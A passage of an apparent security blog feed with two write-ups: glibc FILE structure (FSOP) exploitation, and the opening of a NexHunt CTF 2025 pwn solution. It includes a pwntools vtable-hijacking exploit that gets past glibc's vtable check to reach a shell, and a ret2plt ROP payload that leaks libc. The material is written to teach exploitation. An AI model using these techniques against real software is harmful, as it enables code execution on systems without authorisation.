  <span class="n">__mbstate_t</span> <span class="n">_IO_state</span><span class="p">;</span>
  <span class="n">__mbstate_t</span> <span class="n">_IO_last_state</span><span class="p">;</span>
  <span class="k">struct</span> <span class="n">_IO_codecvt</span> <span class="n">_codecvt</span><span class="p">;</span>

  <span class="kt">wchar_t</span> <span class="n">_shortbuf</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

  <span class="k">const</span> <span class="k">struct</span> <span class="n">_IO_jump_t</span> <span class="o">*</span><span class="n">_wide_vtable</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>

<p>Then there is <code class="language-plaintext highlighter-rouge">_IO_FILE_plus</code> which is an extension of the FILE structure. It adds the virtual function table also called <code class="language-plaintext highlighter-rouge">vtable</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* We always allocate an extra word following an _IO_FILE.
   This contains a pointer to the function jump table used.
   This is for compatibility with C++ streambuf; the word can
   be used to smash to a pointer to a virtual function table. */</span>

<span class="k">struct</span> <span class="n">_IO_FILE_plus</span>
<span class="p">{</span>
  <span class="k">struct</span> <span class="n">_IO_FILE</span> <span class="n">file</span><span class="p">;</span>
  <span class="k">const</span> <span class="k">struct</span> <span class="n">_IO_jump_t</span> <span class="o">*</span><span class="n">vtable</span><span class="p">;</span>
<span class="p">};</span>

</code></pre></div></div>

<p>Default file streams (<code class="language-plaintext highlighter-rouge">stdin</code>, <code class="language-plaintext highlighter-rouge">stdout</code>, <code class="language-plaintext highlighter-rouge">stderr</code>) use this extended version. The purpose of using the extended version <code class="language-plaintext highlighter-rouge">_IO_FILE_plus</code> is to make IO operations faster by having the <code class="language-plaintext highlighter-rouge">vtable</code>.</p>

<p>To view this structure in GDB, we can use the <code class="language-plaintext highlighter-rouge">ptype /o</code> command.</p>

<p><img src="/assets/images/pwn/fsop/file_struct.png" alt="" /></p>

<p>The <code class="language-plaintext highlighter-rouge">vtable</code> field is a array of pointers to the helper functions during executing the IO operation. It is commonly found in <code class="language-plaintext highlighter-rouge">C++</code> binaries. <code class="language-plaintext highlighter-rouge">vtables</code> allows for dynamic function resolution at runtime.  The data type for the <code class="language-plaintext highlighter-rouge">vtable</code> is <code class="language-plaintext highlighter-rouge">_IO_jump_t</code> which stores the pointer to the needed IO helper methods.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">_IO_jump_t</span>
<span class="p">{</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="kt">size_t</span><span class="p">,</span> <span class="n">__dummy</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="kt">size_t</span><span class="p">,</span> <span class="n">__dummy2</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_finish_t</span><span class="p">,</span> <span class="n">__finish</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_overflow_t</span><span class="p">,</span> <span class="n">__overflow</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_underflow_t</span><span class="p">,</span> <span class="n">__underflow</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_underflow_t</span><span class="p">,</span> <span class="n">__uflow</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_pbackfail_t</span><span class="p">,</span> <span class="n">__pbackfail</span><span class="p">);</span>
    <span class="cm">/* showmany */</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_xsputn_t</span><span class="p">,</span> <span class="n">__xsputn</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_xsgetn_t</span><span class="p">,</span> <span class="n">__xsgetn</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_seekoff_t</span><span class="p">,</span> <span class="n">__seekoff</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_seekpos_t</span><span class="p">,</span> <span class="n">__seekpos</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_setbuf_t</span><span class="p">,</span> <span class="n">__setbuf</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_sync_t</span><span class="p">,</span> <span class="n">__sync</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_doallocate_t</span><span class="p">,</span> <span class="n">__doallocate</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_read_t</span><span class="p">,</span> <span class="n">__read</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_write_t</span><span class="p">,</span> <span class="n">__write</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_seek_t</span><span class="p">,</span> <span class="n">__seek</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_close_t</span><span class="p">,</span> <span class="n">__close</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_stat_t</span><span class="p">,</span> <span class="n">__stat</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_showmanyc_t</span><span class="p">,</span> <span class="n">__showmanyc</span><span class="p">);</span>
    <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_imbue_t</span><span class="p">,</span> <span class="n">__imbue</span><span class="p">);</span>
<span class="p">};</span>
</code></pre></div></div>

<hr />
<h2 id="exploitation">Exploitation</h2>

<p>This technique can be used to read and write arbitrary memory through the use of the <code class="language-plaintext highlighter-rouge">_IO_read_base</code> and <code class="language-plaintext highlighter-rouge">_IO_write_base</code> pointers. This technique can also lead to arbitrary code execution through vtable highjacking.</p>

<p>The pwntools library provides a</p>

<h3 id="arbitrary-write-reading-data-in">Arbitrary Write <strong>(Reading Data In)</strong></h3>

<p>Requirements</p>
<ul>
  <li>Set flag value</li>
  <li>set <code class="language-plaintext highlighter-rouge">read_ptr</code> = <code class="language-plaintext highlighter-rouge">read_end</code></li>
  <li>set <code class="language-plaintext highlighter-rouge">buf_base</code> to address to write</li>
  <li>set <code class="language-plaintext highlighter-rouge">buf_end</code> to address to write + length (end point)</li>
  <li><code class="language-plaintext highlighter-rouge">buf_end</code> - <code class="language-plaintext highlighter-rouge">buf_base</code> &gt;= number of bytes to read</li>
</ul>

<p>We use <code class="language-plaintext highlighter-rouge">fread</code> to read bytes from <code class="language-plaintext highlighter-rouge">stdin</code> to a buffer</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">FILE</span> <span class="o">*</span><span class="n">fp</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"./flag.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">fp</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">);</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x100</span><span class="p">];</span>
<span class="n">fread</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">fp</span><span class="p">);</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Pwntools</code></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">addr</span> <span class="o">=</span> <span class="mh">0xdeadbeef</span> <span class="c1"># address to write
</span><span class="n">size</span> <span class="o">=</span> <span class="mh">0x10</span> <span class="c1"># must be larger than bytes read on `fread`
</span><span class="n">fp</span> <span class="o">=</span> <span class="nc">FileStructure</span><span class="p">()</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">fp</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">size</span><span class="p">)</span>
</code></pre></div></div>

<h3 id="arbitrary-read-writing-data-out">Arbitrary Read <strong>(Writing Data Out)</strong></h3>

<p>Requirements</p>
<ul>
  <li>set flag value</li>
  <li>set <code class="language-plaintext highlighter-rouge">write_base</code> to memory to write</li>
  <li>set <code class="language-plaintext highlighter-rouge">write_ptr</code> to address to write+length</li>
  <li>set <code class="language-plaintext highlighter-rouge">read_end</code> = <code class="language-plaintext highlighter-rouge">write_base</code></li>
  <li><code class="language-plaintext highlighter-rouge">buf_end</code> - <code class="language-plaintext highlighter-rouge">buf_base</code> &gt;= number of bytes to write</li>
</ul>

<p>We use the <code class="language-plaintext highlighter-rouge">fwrite</code> function to write a buffer to <code class="language-plaintext highlighter-rouge">stdout</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">FILE</span> <span class="o">*</span><span class="n">fp</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"file"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">);</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x100</span><span class="p">];</span>
<span class="n">fwrite</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">40</span><span class="p">,</span> <span class="n">fp</span><span class="p">);</span>
</code></pre></div></div>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">addr</span> <span class="o">=</span> <span class="mh">0xdeadbeef</span> <span class="c1"># address to read
</span><span class="n">size</span> <span class="o">=</span> <span class="mh">0x10</span> <span class="c1"># must be larger than bytes written on `fwrite`
</span><span class="n">fp</span> <span class="o">=</span> <span class="nc">FileStructure</span><span class="p">()</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">fp</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">size</span><span class="p">)</span>
</code></pre></div></div>

<h3 id="vtable-hijacking">vtable hijacking</h3>

<h4 id="protections">Protections</h4>

<p>Before looking at how to exploit this</p>

<p>The function <code class="language-plaintext highlighter-rouge">_IO_validate_vtable()</code> was added on GLIBC version 2.34 and does a couple of checks on the vtable:</p>

<ol>
  <li>It checks whether the vtable in a section of memory where default vtables exist in libc. <code class="language-plaintext highlighter-rouge">__libc_IO_vtables</code></li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */</span>
<span class="k">static</span> <span class="kr">inline</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">_IO_jump_t</span> <span class="o">*</span>
<span class="nf">IO_validate_vtable</span> <span class="p">(</span><span class="k">const</span> <span class="k">struct</span> <span class="n">_IO_jump_t</span> <span class="o">*</span><span class="n">vtable</span><span class="p">)</span> <span class="p">{</span>
  <span class="cm">/* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */</span>
  <span class="kt">uintptr_t</span> <span class="n">section_length</span> <span class="o">=</span> <span class="n">__stop___libc_IO_vtables</span> <span class="o">-</span> <span class="n">__start___libc_IO_vtables</span><span class="p">;</span>
  <span class="kt">uintptr_t</span> <span class="n">ptr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uintptr_t</span><span class="p">)</span> <span class="n">vtable</span><span class="p">;</span>
  <span class="kt">uintptr_t</span> <span class="n">offset</span> <span class="o">=</span> <span class="n">ptr</span> <span class="o">-</span> <span class="p">(</span><span class="kt">uintptr_t</span><span class="p">)</span> <span class="n">__start___libc_IO_vtables</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">__glibc_unlikely</span> <span class="p">(</span><span class="n">offset</span> <span class="o">&gt;=</span> <span class="n">section_length</span><span class="p">))</span>
    <span class="cm">/* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */</span>
    <span class="n">_IO_vtable_check</span> <span class="p">();</span>
  <span class="k">return</span> <span class="n">vtable</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li>
    <p>If it fails the check, it will run <code class="language-plaintext highlighter-rouge">_IO_vtable_check()</code> where it will compare the value of <code class="language-plaintext highlighter-rouge">&amp;IO_accept_foreign_vtables</code> to that of <code class="language-plaintext highlighter-rouge">&amp;_IO_vtable_check</code>, and will proceed if it is correct, otherwise it aborts.</p>
  </li>
  <li>
    <p>This can be bypassed easily, because instead of replacing the vtable of <code class="language-plaintext highlighter-rouge">_IO_FILE</code> how about we replace the vtable of <code class="language-plaintext highlighter-rouge">_IO_wide_data</code> which is not checked through the <code class="language-plaintext highlighter-rouge">_IO_validate_vtable()</code>.</p>
    <ul>
      <li>Instead of replacing <code class="language-plaintext highlighter-rouge">fp-&gt;vtable</code> we replace <code class="language-plaintext highlighter-rouge">fp-&gt;_wide_data-&gt;_wide_vtable</code> which does not go through the same checks as the other one.</li>
      <li>We can make GLIBC use <code class="language-plaintext highlighter-rouge">fp-&gt;_wide_data-&gt;_wide_vtable</code> by pointing <code class="language-plaintext highlighter-rouge">fp-&gt;vtable</code> to vtable structures that have special encodings like<code class="language-plaintext highlighter-rouge">_IO_wfile_overflow</code>.</li>
      <li>Get arbitrary code exection.</li>
    </ul>
  </li>
</ul>

<h4 id="exploit">Exploit</h4>

<p>the  vtable is full of function pointers which are needed for object oriented programming, if you can overwrite a function pointer inside the <code class="language-plaintext highlighter-rouge">vtable</code> of a file stream then trigger that function you can control the instruction pointer.</p>

<p>Create our own fake <code class="language-plaintext highlighter-rouge">vtable</code>, it can be placed anywhere. The place desired execution address at correct offset and then overwrite the <code class="language-plaintext highlighter-rouge">vtable</code> pointer in the <code class="language-plaintext highlighter-rouge">_IO_File</code> struct to point to our fake <code class="language-plaintext highlighter-rouge">vtable</code>.</p>

<p><code class="language-plaintext highlighter-rouge">_IO_lock_t</code> pointer is used in multi-threaded programs to prevent race conditions. An exploit must set <code class="language-plaintext highlighter-rouge">_IO_lock_t</code> to point to:</p>
<ul>
  <li>writable location</li>
  <li>with value NULL</li>
</ul>

<p>Overwrite one of the functions in  <code class="language-plaintext highlighter-rouge">file._wide_data._wide_vtable</code> that will be called.</p>

<p>If we modify the <code class="language-plaintext highlighter-rouge">vtable</code> pointer to something like <code class="language-plaintext highlighter-rouge">_IO_wXXXX_jumps</code>, the <code class="language-plaintext highlighter-rouge">GLIBC</code> considers it as the wide-character stream and triggers <code class="language-plaintext highlighter-rouge">_IO_wfile_overflow</code>.  If we can make <code class="language-plaintext highlighter-rouge">_wide_data</code> point to our fake <code class="language-plaintext highlighter-rouge">_wide_data</code> <code class="language-plaintext highlighter-rouge">IO_FILE_plus</code> struct, which then has a <code class="language-plaintext highlighter-rouge">_wide_vtable</code> pointing to our <code class="language-plaintext highlighter-rouge">exploit_vtable</code></p>

<p><code class="language-plaintext highlighter-rouge">wide_data</code> also contains its own <code class="language-plaintext highlighter-rouge">vtable</code>, <code class="language-plaintext highlighter-rouge">const struct _IO_jump_t *_wide_vtable</code>;</p>

<p>Usage</p>
<ol>
  <li>Setup <code class="language-plaintext highlighter-rouge">exploit_vtable</code> a fake <code class="language-plaintext highlighter-rouge">vtable</code></li>
  <li>setup <code class="language-plaintext highlighter-rouge">file.wide_data-&gt;vtable</code> pointing to the custom <code class="language-plaintext highlighter-rouge">exploit_vtable</code>.</li>
  <li>Overrides <code class="language-plaintext highlighter-rouge">FILE.vtable</code> such that <code class="language-plaintext highlighter-rouge">IO_wfile_overflow</code> gets called.</li>
  <li><code class="language-plaintext highlighter-rouge">IO_wfile_overflow</code> then calls <code class="language-plaintext highlighter-rouge">do_allocbuf</code></li>
  <li><code class="language-plaintext highlighter-rouge">do_allocbuf</code> then calls <code class="language-plaintext highlighter-rouge">file.wide_data-&gt;_wide_vtable.</code></li>
</ol>

<p><code class="language-plaintext highlighter-rouge">fwrite -&gt; _IO_wfile_overflow -&gt; _IO_wdoallocbuf -&gt; &lt;target addr&gt; (win)</code></p>

<p>When space is limited, structs can be overlapped as long as the offsets accessed return reasonable values.</p>

<p><code class="language-plaintext highlighter-rouge">glibc_2.36</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">win</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">puts</span><span class="p">(</span><span class="s">"You WIN"</span><span class="p">);</span>
	<span class="n">system</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">setbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">setbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	
	<span class="n">printf</span><span class="p">(</span><span class="s">"win @ %p</span><span class="se">\n</span><span class="s">puts @ %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">win</span><span class="p">,</span> <span class="n">puts</span><span class="p">);</span>

	<span class="kt">FILE</span> <span class="o">*</span><span class="n">fp</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"/dev/null"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">);</span>

	<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x1000</span><span class="p">];</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"reading into buf @ %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">buf</span><span class="p">);</span>
	<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"reading into fp: "</span><span class="p">);</span>
	<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">fp</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">);</span>

	<span class="n">puts</span><span class="p">(</span><span class="s">"calling fwrite"</span><span class="p">);</span>
	<span class="n">fwrite</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">fp</span><span class="p">);</span>
	<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>exploit</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">exploit</span><span class="p">():</span>
	<span class="c1">##################################################################### 
</span>	<span class="c1">######################## EXPLOIT CODE ###############################
</span>	<span class="c1">#####################################################################
</span>	<span class="nf">ru</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">@ </span><span class="sh">"</span><span class="p">)</span>
	<span class="n">win</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="nf">rl</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
	<span class="nf">ru</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">@ </span><span class="sh">"</span><span class="p">)</span>
	<span class="n">puts</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="nf">rl</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
	<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="mh">0x00007ffff7dc3000</span><span class="c1">#puts - libc.sym['puts']
</span>	
	<span class="nf">ru</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">@ </span><span class="sh">"</span><span class="p">)</span>
	<span class="n">buf</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="nf">rl</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>

	<span class="nf">print_leak</span><span class="p">(</span><span class="sh">"</span><span class="s">win</span><span class="sh">"</span><span class="p">,</span> <span class="n">win</span><span class="p">)</span>
	<span class="nf">print_leak</span><span class="p">(</span><span class="sh">"</span><span class="s">puts</span><span class="sh">"</span><span class="p">,</span> <span class="n">puts</span><span class="p">)</span>
	<span class="nf">print_leak</span><span class="p">(</span><span class="sh">"</span><span class="s">libc base addr</span><span class="sh">"</span><span class="p">,</span> <span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">)</span>
	<span class="nf">print_leak</span><span class="p">(</span><span class="sh">"</span><span class="s">stack buf</span><span class="sh">"</span><span class="p">,</span> <span class="n">buf</span><span class="p">)</span>

		<span class="n">exploit_vtable</span> <span class="o">=</span> <span class="nf">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">13</span> <span class="o">+</span> <span class="nf">p64</span><span class="p">(</span><span class="n">win</span><span class="p">)</span>
		<span class="n">wide_data</span> <span class="o">=</span> <span class="nf">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mh">0x1c</span> <span class="o">+</span> <span class="nf">p64</span><span class="p">(</span><span class="n">buf</span><span class="o">+</span><span class="mh">0xe8</span><span class="p">)</span>
	<span class="sh">"""</span><span class="s">
	wide_data {
</span><span class="gp">	...</span>
	<span class="n">_wide_vtable</span> <span class="o">=</span> <span class="n">wide_data</span><span class="o">+</span><span class="mh">0xe0</span><span class="p">;</span> <span class="p">(</span><span class="n">exploit_vtable</span><span class="p">)</span>
	<span class="p">}</span>
	
	<span class="n">exploit_vtable</span> <span class="p">{</span>
	<span class="p">...</span> 
	<span class="n">win</span>
	<span class="p">}</span>
	<span class="sh">"""</span>
	<span class="nf">sl</span><span class="p">(</span><span class="n">wide_data</span> <span class="o">+</span> <span class="n">exploit_vtable</span><span class="p">)</span>
	<span class="n">fp</span>  <span class="o">=</span> <span class="nc">FileStructure</span><span class="p">(</span><span class="n">null</span> <span class="o">=</span> <span class="n">buf</span><span class="p">)</span>
	<span class="n">fp</span><span class="p">.</span><span class="n">vtable</span> <span class="o">=</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">_IO_wfile_jumps</span> <span class="c1"># must be within __libc_IO_vtables
</span>	<span class="n">fp</span><span class="p">.</span><span class="n">_wide_data</span> <span class="o">=</span> <span class="n">buf</span>
	<span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">fp: </span><span class="sh">"</span><span class="p">,</span> <span class="nf">bytes</span><span class="p">(</span><span class="n">fp</span><span class="p">))</span>

</code></pre></div></div>

<p>When a program does not have any FILE IO operations File Structure exploitation can be still used.</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">_IO_list_all</code> Highjacking: By overwriting the <code class="language-plaintext highlighter-rouge">_IO_list_all</code> with a pointer to a fake <code class="language-plaintext highlighter-rouge">_IO_FILE_plus</code> structure, the next I/O operation will trigger this fake structure to be used, giving control over to vtable.
    <ul>
      <li>To trigger the next I/O operation you will need to call <code class="language-plaintext highlighter-rouge">exit()</code> so that <code class="language-plaintext highlighter-rouge">_IO_flush_lock</code> the GLIBC will try to cleanup and use these</li>
    </ul>
  </li>
</ol>

<hr />
<h2 id="different-exploitation-techniques-using-file-structure-exploitation"><a href="https://niftic.ca/posts/fsop/#known-exploitation-techniques">Different Exploitation Techniques Using File Structure Exploitation</a></h2>

<h2 id="references">References</h2>

<ul>
  <li><a href="https://chovid99.github.io/posts/file-structure-attack-part-1/#the-usage-of-vtable-in-a-file-structure">file struct attack</a></li>
  <li>https://niftic.ca/posts/fsop/</li>
  <li><a href="https://blog.kylebot.net/2022/10/22/angry-FSROP/">angry-fsop</a></li>
</ul>]]></content><author><name></name></author><category term="writeup" /><category term="Notes" /><category term="File-Struct-Exploitation" /><category term="FSOP" /><category term="File-Struct-Exploits" /><summary type="html"><![CDATA[File Structure Exploitation is a binary exploitation technique that uses GLIBC file streams structures to gain code execution. It has become popular since pointers like __malloc_hook, __free_hook, etc. have been removed from GLIBC 2.34.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://t1b4n3.github.io/assets/images/writeups/fsop.png" /><media:content medium="image" url="https://t1b4n3.github.io/assets/images/writeups/fsop.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">NexHunt CTF 2025</title><link href="https://t1b4n3.github.io/writeup/pwn/nexhunt-ctf/" rel="alternate" type="text/html" title="NexHunt CTF 2025" /><published>2025-12-14T00:00:00+02:00</published><updated>2025-12-14T00:00:00+02:00</updated><id>https://t1b4n3.github.io/writeup/pwn/nexhunt-ctf</id><content type="html" xml:base="https://t1b4n3.github.io/writeup/pwn/nexhunt-ctf/"><![CDATA[<p>I was looking for some CTFs to play during the weekend then I saw that  <a href="https://ctftime.org/event/3037">NexHunt CTF</a> had a few hours left so I joined the CTF with about 3 hours left until the CTF ends. I was only able to solve 2 pwn challenges during those hours.</p>
<h2 id="archive-keeper">Archive Keeper</h2>

<p><img src="/assets/images/writeups/nexhunt/archive_keeper/archive.png" alt="Archive Keeper" /></p>

<h3 id="about-the-binary">About The binary</h3>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code> rabin2 <span class="nt">-I</span> ./chall
<span class="nb">arch     </span>x86
baddr    0x400000
binsz    14182
bintype  elf
bits     64
canary   <span class="nb">false
</span>injprot  <span class="nb">false
</span>class    ELF64
compiler GCC: <span class="o">(</span>Debian 14.2.0-19<span class="o">)</span> 14.2.0
crypto   <span class="nb">false
</span>endian   little
havecode <span class="nb">true
</span>intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  <span class="nb">true
</span>lsyms    <span class="nb">true
</span>machine  AMD x86-64 architecture
nx       <span class="nb">true
</span>os       linux
pic      <span class="nb">false
</span>relocs   <span class="nb">true
</span>relro    partial
rpath    NONE
sanitize <span class="nb">false
</span>static   <span class="nb">false
</span>stripped <span class="nb">false
</span>subsys   linux
va       <span class="nb">true</span>
</code></pre></div></div>

<p>IT is a x86 64 bit elf binary and only the <code class="language-plaintext highlighter-rouge">NX</code> security mitgation is enabled.</p>

<h3 id="reversing-and-vulnerability-discovery">Reversing and Vulnerability Discovery</h3>

<p>This is a simple binary and the only interesting function is <code class="language-plaintext highlighter-rouge">vuln()</code> .</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">ssize_t</span> <span class="nf">vuln</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Welcome to the Archive. Enter yo…"</span><span class="p">);</span>
    <span class="kt">void</span> <span class="n">buf</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0xc8</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>There is a stack buffer overflow in the function.</p>

<h3 id="exploitation">Exploitation</h3>

<p>The first step would be to find the padding to the return address.</p>

<p>I found that the padding from the buffer to the return address is <code class="language-plaintext highlighter-rouge">72</code></p>

<p><strong>Exploitation Strategy</strong></p>

<p>Since NX is enabled, ROP must be used to bypass it. 
A two-stage ROP attack (<code class="language-plaintext highlighter-rouge">ret2plt</code>):</p>

<ol>
  <li>
    <p>Stage 1: Libc Leak - Overwrite return address with ROP chain that leaks a libc address. This can be done by calling a function like <code class="language-plaintext highlighter-rouge">puts()</code> with a GOT entry. The ROP chain should then return to the main function to allow for the second exploit.</p>
  </li>
  <li>
    <p>Stage 2: Pop a shell - Use leaked libc to calculate address of <code class="language-plaintext highlighter-rouge">system()</code> and the string <code class="language-plaintext highlighter-rouge">/bin/sh</code>. Overwrite the return address with ROP chain that calls <code class="language-plaintext highlighter-rouge">system("/bin/sh")</code>, granting a shell.</p>
  </li>
</ol>

<h4 id="stage-1--libc-address-leak">Stage 1 : Libc Address Leak</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload_stage1</span> <span class="o">=</span> <span class="nf">flat</span><span class="p">(</span>
	<span class="nf">cyclic</span><span class="p">(</span><span class="mi">72</span><span class="p">),</span> <span class="c1"># padding
</span>	<span class="n">rop</span><span class="p">.</span><span class="n">rdi</span><span class="p">.</span><span class="n">addresss</span><span class="p">,</span> <span class="c1"># pop rdi, ret gadget
</span>	<span class="n">elf</span><span class="p">.</span><span class="n">got</span><span class="p">.</span><span class="n">puts</span><span class="p">,</span> <span class="c1"># puts@got
</span>	<span class="n">elf</span><span class="p">.</span><span class="n">plt</span><span class="p">.</span><span class="n">puts</span><span class="p">,</span> <span class="c1"># puts@plt
</span>	<span class="n">elf</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">main</span><span class="p">,</span> <span class="c1"># return to main for stage 2
</span><span class="p">)</span>
</code></pre></div></div>

<p>This payload will leak the address of <code class="language-plaintext highlighter-rouge">puts@GOT</code> and we can use that to get the libc base address</p>

